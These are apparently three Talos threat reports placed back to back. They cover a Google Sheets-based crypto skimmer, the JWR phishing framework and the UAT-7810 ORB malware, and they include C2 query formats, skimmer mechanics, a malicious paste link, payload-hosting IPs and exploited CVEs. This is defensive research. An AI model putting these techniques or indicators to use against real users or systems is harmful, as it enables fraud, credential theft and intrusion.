• Cisco Talos is tracking a cryptocurrency-stealing campaign that abuses the Google Visualization API for command and control (C2), retrieving obfuscated JavaScript from a publicly published Google Sheets document and injecting it into the victim's browser session. 
• The actors use a variation on ClickFix social engineering. Instead of convincing targets to run commands against the operating system, they convince targets to paste JavaScript into the Chrome address bar or install it into the Tampermonkey browser extension, which also provides persistence. 
• The lure poses as a leaked vulnerability report describing a nonexistent API flaw at cryptocurrency swap services, and is aimed at users willing to exploit it for financial gain. Talos observed lures distributed through Telegram, DarkForums, and paste sites. 
• The injected script functions as a web skimmer. It hooks the browser's fetch API, replaces cryptocurrency deposit addresses in server responses and the user's clipboard, and displays counterfeit "bonus" interface elements. 

Cisco Talos has recently observed a criminal campaign that leveraged an interesting twist on what we refer to as “legitimate service abuse.” In this monthslong campaign, the criminal actors used the Google Visualization API as part of a scheme to inject malicious JavaScript into two cryptocurrency trading websites. 

This campaign uses a twist on the tactics associated with “ClickFix” social engineering attacks, in which targets are manipulated into copying and pasting PowerShell or other commands and executing them to launch malware. Rather than targeting the victim device’s OS, the actors behind this campaign aim to convince the user to inject malicious code into their own browser session.

Early versions of this campaign began in early October 2025. The social engineering lures used initially focused on getting targets to paste a code snippet directly into the Chrome web browser’s navigation bar; the latest version relies on a legitimate Chrome plugin, Tampermonkey, to inject a loader script pasted in by the user and provide persistence across sessions with the current targeted site.

In March 2026, the actors behind the campaign began using the Google Visualization API to deliver malicious scripts stored in a Google Sheets document. In July, after frequent disruption of their posts on shared text sites, the actors moved to hosting all the components of their campaign in Google Docs and Google Sheets. 

So far, the actors behind the scheme have largely targeted individuals who frequent web discussion boards and forums focused on cryptocurrency trading, software development, basic cybersecurity, and hacking. The lure used in the campaign is designed to appeal mostly to would-be cybercriminals looking to make a quick profit off an “API vulnerability” that doesn’t exist to get bigger payouts on cryptocurrency trades.  

While this campaign doesn’t pose a specific threat to most organizations, the approaches that the actors here are using do. These techniques and tools could be leveraged in other malware and web attacks with much wider impact, including supply-chain attacks on e-commerce sites and other customer-facing systems.

Just Google it 

Google application abuse for C2 is not new by any stretch of the imagination. There have been multiple cases of state-sponsored actors using Google Sheets APIs, Google Drive, and other Google cloud services to help control deployed malware, concealing communications within traffic to otherwise trusted network spaces.

Hunting for these threats usually requires examination of DNS traffic and the processes that are making the requests to reach these destinations — like a random executable making a DNS request for “docs.google[.]com”. But when the requests are made from within a browser session, that makes detection much more difficult.

The Google Visualization API is a feature of Google Docs that is almost as old as the platform itself. Initially introduced in 2008, the API provides free, unauthenticated read-only access to the contents of any Google Sheets spreadsheet that has been publicly published to the web via queries embedded in a URI. These queries result in delivery of data from within the spreadsheet in JSON format or as an HTML table. 

A Visualization API request URI looks like this:

https[:]//docs.google[.]com/spreadsheets/d/[document identifier] /gviz/tq?[query language input formatted for HTTP] 

The API’s query language is very similar to Structured Query Language (SQL). For example, to get all of the content from a sheet’s column B returned as a JSON object, the query portion of the URI would be:

/gviz/tq?tqx=out:json&tq=SELECT%20B

API responses in JSON are returned in the format like the one below, ready to be parsed by the calling JavaScript application:

This is a read-only API, so it can’t be used by an application to alter the data in the spreadsheet. However, an application could append to the data to a spreadsheet connected to a Google Forms page by sending an HTML POST request. Presto! A full C2 system hidden within HTTPS traffic to a trusted domain.

The campaign Talos observed used the Visualization API to retrieve two cells from a remote spreadsheet containing obfuscated JavaScript, which were injected into the web browser session of a target. Used in combination with other abused legitimate services, the actors behind this campaign could modify the query used to change which cells were retrieved and injected, or if necessary change the spreadsheet targeted by the query — which they did after we disrupted their operations the first time.

Phishing for sharks 

The actors behind this scheme are looking for a very specific kind of mark: someone who is willing to commit fraud using technical means that they don’t clearly understand. Early versions of their phishing campaign documented by researchers used email, carrying links to a Google Docs document purportedly leaked security report. Actors also used comments on Pastebin and other text-sharing sites and direct messages in various forums to post links to versions of the Docs file.

In January, operators of the most recent incarnation of the scheme set up a Telegram account to facilitate the scam. The Telegram channel only allows posts from the channel administrator, and the threat actors delete older posts each time a new version of the lure is published to disguise the fact that they’re essentially just reposting the same fictional “exploit” over and over again.

Talos found multiple lures related to this Telegram channel posted in dark web forums, including the cybercrime-focused DarkForums. Lures were also posted in the comments on text files shared on Pastebin and a number of other text-sharing sites. Some (like the one above) directed recipients to a Telegram channel, while others linked directly to a Google Docs document promoted in the Telegram channel.

Waves of these messages were sent out at least twice a month, coinciding with new postings on the Telegram channel.  

Baiting the hook 

Talos saw two variants of the Google Docs document linked in the phishing messages. Both used the same “docs.google[.]com” URL and the same file name (“API Logic Flaw”).  The first was active from April 12 – 16, 2026; the second was active starting at least as early as April 19 and remained active as of July 22, despite it being reported to Google through multiple channels.

The initial version we observed targeted the cryptocurrency trading site “SwapZone[.]io”. It was formatted in the style of a vulnerability report and discussed a purported weakness in an older version of the ChangeNOW cryptocurrency exchange’s API allegedly still exposed through SwapZone; if accessed, the report claimed, it would result in “~38% higher payouts” on trades of Bitcoin for other cryptocurrencies.

All the reader had to do to leverage this mythical old API, according to the lure document, was copy the script shared through a “paste[.]sh” link into the navigation bar of the Chrome browser preceded by “javascript:”.

On April 18, Talos observed a new revision of the lure document. The new lure used the same “docs.google[.]com” URL as the previous lure but was rewritten to target a different trading site — “SimpleSwap[.]io”, another cryptocurrency trading aggregator. The fake exploit this time was a flaw in a “loyalty bonus” function that allegedly triggered a 25% boost in the value of the trade, according to the updated lure document.

This wasn’t the only revision to the lure. In the new version, instructions were given to install the Tampermonkey browser extension from the Chrome Web Store to activate the “bonus.”

The instructions then directed the targets to a link to a new source script on “paste[.]sh” to be added to the plugin (“https[:]//paste[.]sh/dQfdExjo#AqjB4BBt]lwLt2NKrlC0x8J9O”). The plugin would activate the script whenever the user visited “SimpleSwap[.]io”. 

Reeling them in: First-stage scripts 

Aside from their means of being executed by the user, both versions of this campaign’s first-stage loader script contained strings that do essentially the same thing. They both connected to the same Google-hosted spreadsheet via the Visualization API, retrieving blocks of code from different pairs of cells within the sheet.

The initial version of the script depended on direct user execution of the script within Chrome. Targets were instructed by the lure to copy the script from the “paste[.]sh” URL and paste it directly into Chrome’s navigation bar preceded by “javascript:” which results in the execution of the script within the context of the current web page.

The address of the Google Docs spreadsheet is plainly visible in the sample, and the JavaScript containing it swaps it for the fictitious vulnerable API’s URL to construct the Visualization API URL to retrieve the second stage script from:

This results in the Visualization API call to:

The script used in the second version of the lure was intended to be pasted into the Tampermonkey browser plugin’s configuration. It was somewhat more obfuscated than the first:

In this script, the URL needed for the visualization API call is hidden within the fake SimpleSwap API address, encoded in Base64:

When decoded, the block of text after “bonus” becomes:

In both cases, the generated request for the site comes from the Chrome browser and would have appeared as legitimate web traffic. Both scripts then concatenate the retrieved blocks of JavaScript, reconstruct the full second-stage JavaScript payload, and inject into the browser session.

In the first version, this is a bit more involved: The script explores the document object model of the web page looking specifically for script elements associated with browser extensions. If it finds more than one script associated with Chrome extensions, it picks a random one to inject the payload into. If no extensions are found, it picks a random <script> object within the page as the location for injection of the payload.

The method used in the second lure makes injection much easier for the attacker, as it uses an installed browser extension (Tampermonkey) to host the injected code. The script added to the extension assembles the payload code and appends it to the SimpleSwap web page’s code when the site is loaded. This also provides persistence, as the code will be loaded every time the target navigates to the SimpleSwap site.

Landing the catch: The second-stage payload 

Over the course of our investigation, Talos saw the actors behind this campaign change the the payload delivered by the first stage script multiple times, which all did essentially the same thing: They decoded JavaScript code to inject into the targeted web pages to create the “exploits” they used to steal Bitcoin from victims.

We collected 21 unique samples of the second-stage payload from the spreadsheet referenced by the API call. These included scripts for both versions of the lure, as the scripts for SwapZone were left in the spreadsheet after the actors shifted to SimpleSwap.

To conceal the contents of the spreadsheet from casual analysis, the actors hid the text containing payload data by formatting the text as white on a white background. As revisions were  made to the sheets to add new versions of the script, more rows were added to push the hidden cells further down the sheet, making them only discoverable through a text search or with the API query.

The payload within each pair of rows was heavily obfuscated JavaScript. Except in two cases, all the obfuscation was based on converting the functional script in the payload into arrays of hexadecimal pairs that had been XOR encoded. The rest of the script was math functions to render the code and additional garbage math to conceal the actual XOR key used. One sample used Base64 encoding along with conversion of characters to Unicode values (e.g., converting “A” to “\x41”). Another paired XOR with the use of Unicode escaping for the apostrophes used to contain each array element, further impeding analysis.  

Revisions of the scripts over the course of Talos’ observation used different XOR keys each time to change the signature of the code and used different random strings for variable and function names, consistent with output from “Obfuscator[.]io” and similar Javascript obfuscation tools. However, it was clear that there were no actual changes to the scripts being obfuscated after they were initially coded for each targeted site.

Both the SwapZone and SimpleSwap scripts targeted cryptocurrency transaction interfaces of the sites, creating new user interface elements and altering existing functions. The scripts performed the following key actions: 

• DOM and UI manipulation: The script monitors the page using MutationObserver and dynamically replaces displayed deposit addresses in the interface. The malware script also modifies displayed transaction amounts to deceive targeted users into believing that they have received a “bonus” on their transactions. HTML rendered by both versions of the script presents counterfeit “hidden functionality” within the site, as shown in Figure 12.

• Network interception: The script overrides the browser’s fetch API to inspect and modify responses related to wallet or deposit endpoints. When JSON responses containing cryptocurrency deposit addresses are returned, the script replaces legitimate addresses with attacker‑controlled addresses. Based on decoded UI selectors and identifiers found in the script, the malware intercepts the contents of elements in forms on the targeted websites such as:
  • data-testid="recipientAddressContainer" 
  • data-testid="depositAddress" 
  • data-testid="currencyList" 
  • data-testid="cryptoExchangeTab"
  • data-testid="mainExchangeForm"
• Clipboard hijacking: The malware monitors UI elements used to copy cryptocurrency addresses. When a user attempts to copy a deposit address, the script replaces the copied value with an attacker’s wallet address. A rotating list of Bitcoin Bech32 wallet addresses was embedded in the code of each script; these were selected randomly for substation. 
• Persistence: The script conducts periodic DOM scanning to ensure the malicious replacements persist during page updates. Further persistence is provided in the second version of the attack using the Chrome extension-based loader.

Cashing in 

Talos identified 49 BTC wallet addresses that were used in the campaign. The majority of the samples we de-obfuscated (from April to the end of June) used an identical set of 30 addresses. Of these, 24 received funds from victims of the scheme, totalling 0.159 BTC (approximately $10,000 at early August 2026 valuations of Bitcoin). There was likely more collected, as we were unable to find samples from prior to April and may not have captured the wallets used by all variants. 

It’s difficult to tell how much the actors behind this campaign have been able to extract from their scam-driven malware. Funds were routed out through 30 more wallets, sometimes using multiple counterparties within the set.  From there the funds were moved in highly complex transactions involving a total of over 3,000 additional addresses—likely related to a Bitcoin “mixing” operation to hide the funds’ destinations. 

Still, this has been a very lucrative operation for relatively little investment for the actors behind it. And it has been difficult to disrupt the operation. In April, we shared information about the campaign with both the targeted websites and with Google, and the documents acting as lure and C2 components were blocked; a week later, the campaign was back with a new Google sheet and another paste[.]sh script, and back in business at a slightly reduced rate of victim recruitment. 

Paste[.]sh’s administrator took action to automatically detect new scripts matching the first-stage script’s signature in July. The actor then updated the lure and added a Google Docs document containing the script. As of August 11, the Google documents have again been reported but are still active. 

Beyond dishonor among thieves 

It is hard to be sympathetic to victims of crimes that preyed on their own willingness to essentially be criminals, but the capabilities demonstrated in this campaign could have a much more widespread and damaging impact in the wrong hands.

The techniques used here are a variation on classic web skimming approaches. Other web skimming attacks, such as Magecart web skimming campaigns, depend largely on supply chain compromise to infect legitimate sites, injecting code through compromised dependencies — third party services, Node Package Manager distributions, and other external sources integrated into web pages to add features or provide application support.

With a rise in supply-chain attacks by groups such as TeamPCP, which has sold access to other cybercriminals, the methods used in this cryptocurrency-stealing campaign could be used to leverage stolen access across large numbers of web applications dependent on compromised code bases.

An actor leveraging this sort of access to gain additional targeted access or steal other information from web-based applications could use the techniques used in this campaign to selectively alter functionality of user interfaces with code from what would look to defenders to be legitimate application traffic. Malicious and fraudulent browser plugins already alter content in web pages and redirect traffic; a subtle corruption of an existing browser plugin update using a Google document for C2 could make detecting malicious activity from network telemetry much more difficult for defenders.

Additionally, other social engineering attacks could leverage the Visualization API for opportunistic attacks on organizations much in the way other ClickFix-style attacks have managed to convince users to execute malicious code.

To defend against these real and potential threats, organizations should take the following steps: 

• Manage users’ browsers, limiting use of developer-level functionality and deployment of browser extensions based on role. 
• Monitor for HTTP requests to “docs.google[.]com” from unknown applications or in the context of browser sessions that do not include other Google Docs activity. 
• Test and sanitize third-party dependencies in employee and customer-facing web applications regularly, checking for obfuscated script that appears out of place in JavaScript-based web and mobile applications. 
• Warn employees and customers of social engineering techniques and the dangers of modifying browser behavior through copy-and-paste code. 

Coverage 

The following ClamAV signature detects and blocks this threat:  

• Win.Backdoor.BadDav-10060502-0
• Win.Backdoor.GoProxShell-10060503-0
• Win.Malware.AmateraStomper-10060507-0
• Win.Backdoor.BadNetSup-10060508-0
• Js.Downloader.ClickFix-10060510-0
  

IOCs 

The IOCs for this threat are available at our GitHub repository here. 

• Cisco Talos recently identified an undocumented phishing framework, internally branded "JWR" by its developer, built to convincingly impersonate checkout and login pages across major payment and shopping platforms. 
• The client engine of the JWR phishing framework is a real-time, operator-driven system that, rather than merely logging form submissions like a static credential-stealing page, keeps an AES-CTR encrypted WebSocket open to the threat actor so they can steer each victim's session live. 
• The victim data targeted by the actor using JWR extends well beyond payment data, encompassing identity documents, Social Security numbers, passport and driver's license images, website and PayPal credentials, 2FA codes, and full device fingerprints, all committed to the actor's server once a session ends.  
• Talos assesses with medium confidence that the JWR phishing framework is a variant of "The Outsider," a phishing-as-a-service (PhaaS) platform, based on several similarities in the client engine scripts and functionalities of the two PhaaS platforms. 
• Talos observed a real-world campaign delivering the JWR client via SMS lures impersonating toll authorities, and postal and courier services of several countries in Southeast Asia and the Middle East.

JWR phishing framework, a likely variant of the Outsider 

JWR is a phishing framework capable of harvesting complete payment card data, login credentials, and personally identifiable information (PII) documents and images in real time. The client-side engine of the framework impersonates login, and checkout flows of several payment gateways, including Shopify, PayPal, Apple, Klarna, and banks, while allowing the operator to stealthily control the victim session through an AES-CTR encrypted WebSocket channel. The client engine architecture is divided into a Host Bridge module that relays commands into a phishing inline frame (iframe) and a Vue.js victim application that renders across 44 phishing pages, streams the victim's keystrokes to the actor as they are typed, and carries out more than 40 distinct instructions issued from the command-and-control (C2) console. The data exfiltration schema is a cvvform object that includes fields such as credit card number, CVV, PIN, expiry date, Social Security Number (SSN), passport or ID images, two-factor authentication (2FA) codes, website logins, PayPal credentials, and device fingerprint.  

Talos discovered that the JWR client engine shares significant code and functional similarities with the client of The Outsider PhaaS platform operated by the Chinese-speaking actor “Outsider Enterprise,” which was reported by external researchers. 

JWR client architecture and workflow

The execution starts when the parent phishing webpage loads and executes the client's engine. It checks a single global flag, window.__HOST_MODE, which is set by the parent phishing page, and selects one of two execution modes. If the flag is set, the script enters Host Mode, and control passes to the Host Bridge module, an immediately invoked function expression (IIFE) that operates within the parent page, typically a replica of a legitimate checkout or account login page, relaying received details into a child iframe that contains the actual phishing form. It establishes a persistent WebSocket connection to the actor’s C2 server. 

If the flag is not set, the page enters Content Mode, and control passes to the Vue.js Application, an interactive front end that renders the phishing pages, collects victim input, manages the flow across 44 HTML files, and handles the actor’s instructions from the C2 server, ultimately redirecting to a custom error page after sending the data to the C2. The Content Mode of execution has three communication modes: standalone, pluginIframe, and hostIframe. 

• In standalone mode, the application fully owns its WebSocket connection. 
• In pluginIframe mode, it has no direct link to the network at all and instead sends everything upward to an embedding plugin frame. 
• In hostIframe mode, it defers entirely to a parent page already running as the relay bridge. 

Regardless of which of these three modes or through the Host Bridge is used, the data is either sent to C2 as plain text in JSON format with the DEV_MODE flag set, or it is passed to the JwrCrypto module, which encrypts it with a newly generated key before sending it to the C2 server.  

The script engine includes a background worker module that maintains the connection with C2, keeping it alive independently of page navigation for the remainder of the session. In a live session activity, the script continuously streams the victim’s keystrokes to the actor's C2 server as captured data, while that the actor continuously sends the next instruction to be executed from the C2 server. Each incoming instruction is checked by the client engine against a brief history to ensure that nothing already executed runs twice, then routed by the Instruction Handling module to one of two outcomes including, redirecting the victim to a different phishing page or updating the current page's state and displayed status, awaiting the actor’s next instruction. This execution loop repeats until the actor decides to keep the session alive, and when the actor chooses to close the session, the accumulated data is transmitted to the C2 one last time, and the victim is redirected. 

JWR Client’s host bridge mode  

In host bridge mode, the IIFE establishes a persistent WebSocket connection to the actor's server, manages the victim's session identity, excludes repeating incoming instructions, and proxies all communication between the server and the phishing child iframe. 

Every victim is assigned a unique session token the moment the bridge initializes. It first checks persistent storage for an existing JWRCID value if the victim has visited the page before, and if true, the same token is reused, allowing the actor to correlate multiple visits from the same device. If none exists, a new token is generated in the format JWRCVV-{Date.now()}-{random1}-{random2}, with both random segments being 13-character base-36 strings, and this token becomes the victim's permanent identifier for the entire C2 communication. 

The module then spawns a Web Worker from a separate script located at static/js/ws-worker.js, which isolates the WebSocket from the main JavaScript context, allowing the connection to persist during navigation within the phishing flow. The WebSocket connection path is constructed as webSocket/QT/{sessionId}/khkjsahfjkwhakjlsdwdddddd88, where the alphanumeric suffix is likely a server-side authentication token that ensures the connection originates from a deployed kit instance. 

The host bridge incorporates an anti-analysis check, which serves as a one-time execution guard that performs a self-referential .toString().search() call against a backtracking regex. This check detects whether a debugger has attached the function to modify its apparent source. Additionally, a decoy variable is scattered throughout the code to mislead static-analysis tools. 

Moreover, it maintains a JSON array named JwrExecutedInstructions in sessionStorage to prevent the same operator instruction from executing more than once. Before relaying any instruction into the phishing iframe, it verifies the instruction ID against a list. If a match is found, it discards the repeating instructions. If it is a new instruction, it sends an acknowledgment back to the C2 server in the format {type:"instructionAck", instruction_id:, cvv_id:}. The list is limited to 50 entries and is trimmed to retain the most recent 30. 

Content Mode operation (Vue.js application), the real-time capture 

The Vue.js victim application developed by the JWR developer is a single Vue 2.X instance, window.vm = new Vue ({el: ‘#app’, ...}), mounted on a Document Object Model (DOM) element with the id “#app”. This application serves as the phishing page that the victim sees and interacts with. It is responsible for rendering the checkout forms, collecting and streaming input to the C2, executing the actor’s instructions, and performing the exfiltration function. 

When the Vue instance is constructed, the created function is executed, processing the data passed from the fake webpage the victim visited, but without attaching the page. It generates the session ID and clears any sensitive fields leftover from a prior page visit if the victim had previously accessed the same fake page. It also restores any previously saved session state from “sessionStorage” if it exists. Then, it redirects the victim from any page other than index/login/home that lacks a session ID to a_index.html, ensuring the victim enters the phishing flow. Finally, the Vue takes the rendered output and attaches it to the #app element in the page's DOM, making the interface visible and interactive to the victim. 

Once the DOM is ready, Vue executes the mounted function asynchronously, at which point the victim becomes visible to the actor. It determines the engine’s execution mode and then executes two functions: getIPInfo() to geolocate the victim’s IP address and getSyncSettings() to pull the actor’s configuration from the C2 server. Next, it initializes the communication channel, captures the victim's action, and creates a CVV form with the victim's device fingerprint data. This includes the victim's current form of state, such as device type, browser, language, time zone, and geolocation, which are encrypted and sent to the actor's C2 server. 

One of the key features of the JWR kit is its near-real-time input streaming. Each input element in the phishing form is transmitted to the actor’s console, allowing the actor to view partial card numbers, partial passwords, and partial verification codes as the victim types, without needing to wait for the victim to click any submit button. This mechanism enables the actor to see the victim's data and determine which instruction to send to the client's engine from the C2 before the victim even submits the form. 

Before the Vue instance is created, the client engine establishes an instruction mapping table that correlates over 40 actor command names with specific HTML page filenames, thereby granting the actor remote control over the victim browser session. 

The JWR client script includes a C2 command dispatcher. When the actor sends an instruction, the client receives, decrypts, and forwards it to the dispatcher function, which routes it to the appropriate handler based on the instruction type. The table below displays the actors' instructions from C2, facilitated by the JWR client kit. 

The JWR client engine has a data exfiltration schema. Its scope extends well beyond payment data, and includes full identity information (name, gender, date of birth, Social Security Number, passport, driver's license, medical record number), address, email and email password, up to three sets of website credentials, PayPal login, complete card data (PAN, expiry, CVV, PIN, brand, issuer, issuing country), front and back card images, photos of identity documents, and an automatically captured browser fingerprint, including IP, device, language, time zone, user agent, cookies, and geolocation. 

Upon submission, the client normalizes the submission types, triggering a full-screen non-interactive overlay over the page. For credit card submissions, a Lottie animation is displayed that corresponds to the card brand detected from the first two BIN digits. After exfiltration, when the actor closes the WebSocket, terminate the worker and POST the entire cvvformobject to the C2 endpoint at api/open/the_final_interface. Once the actor confirms, the victim is redirected to the actual site. 

Talos discovered that the primary mode of C2 communication for the JWR kit is via a binary WebSocket connection. The WebSocket path follows the format shown below, where the JWRCID and JWRCVV segments encode the victim’s unique session token, and the trailing alphanumeric suffix is likely a server-side authentication token. 

Alongside the WebSocket, the JWR client registers five Representational State Transfer (REST) endpoints which are used as an alternate communication method, between the C2 and the victim browser. In this case, a session opens with api/open/addClick, executed once from within the mounted function after the phishing page becomes visible to the victim. It reports the victim's IP address, country, the specific phishing page they landed on, the referring or storefront URL, and a bundle of device and operating system (OS) metadata to the actor's console with a live "new visitor" entry before a single instruction has even been sent by the actor from the C2 server. Running alongside it is api/open/getSyncSettings, which pulls inbound configuration from the actor's server rather than exfiltrating anything, letting the actor change error messages, default contact placeholders, currency display, and other behavior on the fly without redeploying the client engine. For the victim’s environments where a persistent WebSocket connection is unavailable or blocked, api/open/pollInstruction provides an HTTP long poll fallback that delivers the same operator instruction objects the socket would otherwise push, keeping the actor's remote control functional even under restrictive network conditions. The session closes with api/open/the_final_interface, the client engine terminal exfiltration call. Once the actor issues a release instruction, the WebSocket connection and background worker are closed, and the entire accumulated cvvform object, every field collected across the full victim session — card data, identity documents, credentials, and fingerprint alike — is sent via HTTP POST to the C2 endpoint. 

The below table represents the endpoints and the purpose.  

The JWR client has purpose-built integrations for two major e-commerce platforms Shopify and WooCommerce. For Shopify deployments, the client reads the cart_data URL parameter which is a signed JSON blob that Shopify passes between checkout steps and extracts the checkout domain to use as the WebSocket base URL. This makes the WebSocket connection seem to originate from a legitimate Shopify domain. The initShopifyProductInfo() and initWordPressProductInfo() functions reconstruct the victim's shopping cart from the Shopify cart data, populating the phishing page with accurate product names, quantities, unit prices, and order totals making the fake checkout indistinguishable from the real one. 

The operator facing status messages of the JWR framework are entirely written in Simplified Chinese and read as a professional admin dashboard notification feed phrases like "正在填写PayPal登录账号" (filling in PayPal login account), "进入2FA验证页, 请发送验证, 等待用户提交" (entering 2FA verification page, please send verification, waiting for user submission), and "均失败" (all failed), indicating that a Chinese-speaking actor is operating this scam campaign. 

JWR phishing framework’s card stealing scenario 

When the victim lands on the fake page, their browser sends an arrival beacon, indicating to the actor that a new visitor is present. From there, the actor takes over, sending a to_info instruction that directs the victim to a personal details page. While the victim types, the actor sends no further instructions but monitors the data stream live. Once the actor has assessed the victim's personal information, they issue a to_card instruction, moving the victim to the card entry page, where the same stealth live streaming occurs as the card number is typed in digit by digit. 

If the actor isn't keen on the typed card details, tip_fail or tip_change_card instructions are sent, which deliver a fake "your card was declined" message to the victim and returns them to the card page to try a different one. This loop can repeat as many times as the actor wants, each attempt aimed at harvesting another card from the same victim. If the card is accepted instead, the operator sends one of the instructions: to_sms, to_2fa, to_pin, or to_app, directing the victim to a verification page to confirm their identity with a one-time code. For the rejected code, the actor sends the tip_fail instruction, which prompts the victim to re-enter it, while an accepted one leads to the final instruction, to_success, which redirects the victim to the real website, concluding the session with the actor now having the victim’s data that was typed.  

The ongoing scam campaign  

Cisco Talos observed an attacker utilizing an SMS phishing technique, sending SMS related to toll or road-pricing fees, postal or courier fees lures that contain a malicious URL targeting potential victims. When victims click on the URL, it opens a fake webpage that executes embedded JavaScript, which then renders and loads the client-side JavaScript engine of the JWR phishing framework. 

The victimology of this scam campaign illustrates a broad, multi-country SMS phishing (smishing) operation rather than a single targeted campaign. Most of the malicious URLs impersonate a national land transport authority and its vehicle services or road toll payment portal, consistent with an "unpaid toll or road pricing fine" lure in Singapore. A second set of malicious URLs impersonates a national postal service, aligned with a "parcel held pending a customs or delivery fee" lure, alongside a smaller cluster mimicking an electronic toll collection system in the UAE. The third set of URLs impersonates a regional courier brand utilized across several Southeast Asian countries, again centered around the undelivered parcel or cash on delivery fee theme. 

Talos discovery of the similarities in the client engine script of the JWR framework used in the current campaign with that of the Outsider PhaaS platform and additionally, we observed that in June 2026, the FBI had announced the technical takedown operation against Outsider platform (PhaaS) that has been in operation since 2023, through a joint operation “Ghost Hook.” However, the Outsider PhaaS was sold as a self-servicing product in the actor’s Telegram channels, according to the external researcher report, indicating the likely existence of variants of the Outsider PhaaS kit employed and operated by other Chinese-speaking threat actors.  

Comparing JWR with other Chinese PhaaS platforms 

Following the discovery of several similarities in the client-side scripts of the JWR and The Outsider kit, Talos conducted a comparative assessment of the JWR client script against other phishing kits operating within the Chinese-speaking criminal ecosystem. 

Talos found that JWR shares no code-level implementation with Lucid, Darcula, or Lighthouse. Its C2 communication protocol, encryption module, and message envelope are all independently engineered. At the behavioral level, JWR aligns closely with those kits. All four share the operational signature that defines this PhaaS lineage including live operator puppeteering, card capture paired with OTP/2FA interception, and multi-brand templating at scale. Several additional characteristics place JWR within the same family, highlighting a tradecraft consistency across the developers of the phishing kits embedded in the Chinese-speaking criminal ecosystem. 

Coverage 

The following ClamAV signature detects and blocks this threat:  

• Js.Phishing.JwrFramework-10060456-0 

The following Snort2 and Snort3 (SIDs) rules detect and block this threat: 

• 66924
• 66925
• 66926
• 66927
• 66928  

IOCs  

The IOCs for this threat are also available at our GitHub repository here. 

• Cisco Talos is actively tracking infrastructure and malware associated with UAT-7810, an advanced persistent threat (APT) actor responsible for maintaining and proliferating the LapDogs Operational Relay Box (ORB) network, first disclosed by SecurityScorecard in 2025.
• UAT-7810 is most likely tasked with establishing Operational Relay Box (ORB) networks that can then be leveraged by associated secondary threat actors to conduct their own malicious attacks against high value targets.
• Talos’ latest findings on UAT-7810 indicate that the threat actor continues to develop their custom-made malware, dubbed “SHORTLEASH,” with a newer version already being developed and hosted on attacker-controlled infrastructure. We track this new version of SHORTLEASH as “LONGLEASH.”
• Furthermore, we’ve discovered two new malware families in UAT-7810's arsenal: a C-based backdoor we track as “DOGLEASH” and a JAVA-based backdoor we track as “JARLEASH.”

Talos assesses with high confidence that UAT-7810 is a China-nexus threat actor based on the infrastructure that it provides to secondary China-nexus APTs such as UAT-5918. Open-source reporting has also illustrated overlapping tooling between UAT-5918 and UAT-7810. However, at this time, Talos considers UAT-5918 and UAT-7810 separate APT actors tasked with their own set of objectives and targets.

Talos’ latest findings on UAT-7810 indicate that the threat actor continues to develop their custom-made malware dubbed “SHORTLEASH” with a newer version already being developed and hosted on attacker-controlled infrastructure. We track this new version of SHORTLEASH as “LONGLEASH.”

Talos has also discovered two more previously unknown tools in UAT-7810's arsenal:

• DOGLEASH: A malicious backdoor that can execute arbitrary shellcode on the compromised Linux device
• LEASHTEST: A Linux binary (ELF) that is used for testing rudimentary functionality on MIPS-based embedded devices

Talos’ findings also illustrate that UAT-7810 used at least four new servers to host a variety of minor variations of DOGLEASH to deploy against compromised targets. An additional JAVA-based (JAR package) backdoor that we track as “JARLEASH” was also deployed by UAT-7810 on at least one of the three servers for administration purposes, including file management, FTP, SFTP, and Netcat.

UAT-7810 exploits n-day vulnerabilities

Talos has observed UAT-7810 primarily exploit known vulnerabilities in unpatched Ruckus wireless routers, a tactic UAT-7810 has used since 2025. CVEs exploited include:

• CVE-2020-22653
• CVE-2020-22658
• CVE-2023-25717

UAT-7810 infrastructure

Talos discovered four new servers being used by UAT-7810 to host malicious payloads for a variety of hardware platforms including MIPS, ARM, and x64. The malware hosted predominantly consists of DOGLEASH, and accompanying shell scripts are executed on compromised systems to download and execute DOGLEASH.

All three of the following IP addresses were associated with VPS instances that indicated UAT-7810 acquired and used these servers as download locations:

• 194.233.92[.]26
• 217.15.160[.]247
• 217.15.164[.]147

 One of the IPs, “217.15.164[.]147”, was also used as infrastructure to conduct exploitation of ASUS’ AiCloud Routers in early 2026 — specifically CVE-2025-2492 — indicating that UAT-7810 or an associated threat actor likely attempted to expand their ORB network to AiCloud Routers.

Additionally, “217.15.160[.]247” and “217.15.164[.]147”,  hosted a TLS server on port 99 with the certificate fingerprint:

c2ab9adaba93ff094b8f3fc37d906014d870582039d276b7bd03e6fd583d8a15
and
subject_dn = "C=exploit, ST=exploit, L=exploit, O=exploit, OU=exploit, CN=exploit"

Forensic analysis of compromised networking devices led to the discovery of a fourth IP address UAT-7810 used to host their malicious payloads: “95.182.100[.]231”, residing in Hong Kong.

UAT-7810's malware suite

LONGLEASH: A new version of SHORTLEASH

LONGLEASH is a new version of UAT-7810's previously disclosed backdoor SHORTLEASH. SHORTLEASH consisted of a backdoor capable of contacting its command and control (C2), hosting a web server, managing tunnels, and acting as both a C2 server and client. LONGLEASH, however, contains a variety of additional capabilities, indicating that UAT-7810 is actively developing it for use against their targets.

LONGLEASH is built off the same codebase as SHORTLEASH, with both tools being internally named “ff-agent”. The LONGLEASH variant compiled for MIPS processors is built on the asynchronous version of the Boost library (Boost.Asio) to minimize the blocking time and maximize the performance of the network.

The internal name for the LONGLEASH project is “nz1.0” and it has the following major components:

• Base: Contains the implant’s logging and utilities, such as routines for Base58 and Base64 encoding and decoding.
• Executor: Supports several capabilities, including the main proxying functions, for setting up the following channels:
  • Reverse shell to C2
  • Proxy servers for HTTP, DNS, SOCKS, TCP, ICMP, and UDP
  • Packet redirection for traffic based on TCP, UDP, and HTTP
  • SMTP server and client

The other major executor modules support managing of network connections to other servers, including TLS and public key infrastructure, managing clients connected to the implant, sockets and URIs.

 The executor is also tasked with authorization of clients, routing of the messages through the proxy network, and setting and management of basic network tunnels.

 Finally, the executor contains functionality to remove the implant and all traces from the server if a suspicious connection or tampering is detected.

• Core: Provides basic authorization and node identification services, HTTP encoding and utilities, processing of protocol buffer (protobuf) encoded messages, basic SHA checksum functions, task management, and basic security.

The implant contains the User-Agent string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36" which may allow it to hide within legitimate traffic purporting to be an instance of the Windows Chrome version 122.

 Apart from the Boost.Asio, the implant contains code from at least two open-source libraries: Nanopb, used for processing protobuf messages, and MbedTLS, for establishing TLS, proxying TLS encrypted communications, and managing x509 certificates for the network. The implant does not use a standard libc library but a small musl library libc that implements C functions on top of Linux syscalls.

